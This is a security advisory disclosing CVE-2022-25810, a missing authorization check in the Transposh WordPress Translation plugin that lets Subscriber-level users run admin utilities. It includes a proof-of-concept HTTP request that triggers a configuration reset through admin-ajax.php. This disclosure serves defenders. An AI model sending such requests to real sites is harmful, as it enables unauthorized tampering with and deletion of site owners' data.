Transposh WordPress Translation 1.0.8.1 Improper Authorization

RCE Security Advisory
https://www.rcesecurity.com

1. ADVISORY INFORMATION
   =======================
   Product: Transposh WordPress Translation
   Vendor URL: https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/
   Type: Improper Authorization [CWE-285]
   Date found: 2022-02-21
   Date published: 2022-07-22
   CVSSv3 Score: 6.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L)
   CVE: CVE-2022-25810

2. CREDITS
   ==========
   This vulnerability was discovered and researched by Julien Ahrens from
   RCE Security.

3. VERSIONS AFFECTED
   ====================
   Transposh WordPress Translation 1.0.8.1 and below

4. INTRODUCTION
   ===============
   Transposh translation filter for WordPress offers a unique approach to blog
   translation. It allows your blog to combine automatic translation with human
   translation aided by your users with an easy to use in-context interface.

(from the vendor’s homepage)

5. VULNERABILITY DETAILS
   ========================
   Transposh does not properly enforce authorization on functionalities available on
   the plugin’s “Utilities” page leading to unauthorized access for all user roles,
   including "Subscriber".

Some of the affected functionality is:
tp_backup - Initiate a new backup
tp_reset - Reset the plugin’s configuration
tp_cleanup - Delete automated translations
tp_dedup - Delete duplicates
tp_maint - Fix internal errors
tp_translate_all - Trigger an auto-translation of all entries

6. PROOF OF CONCEPT
   ===================
   An exemplary request to reset the plugin’s configuration, send the following
   request using a “Subscriber” account:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 15
Accept: /
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [your cookies]
Connection: close

action=tp_reset

7. SOLUTION
   ===========
   None. Remove the plugin to prevent exploitation.

8. REPORT TIMELINE
   ==================
   2022-02-21: Discovery of the vulnerability
   2022-02-21: Contacted the vendor via email
   2022-02-21: Vendor response
   2022-02-22: CVE requested from WPScan (CNA)
   2022-02-23: WPScan assigns CVE-2022-25810
   2022-05-22: Sent request for status update on the fix
   2022-05-24: Vendor states that there is no update planned so far
   2022-07-22: Public disclosure

9. REFERENCES
   =============
   https://github.com/MrTuxracer/advisories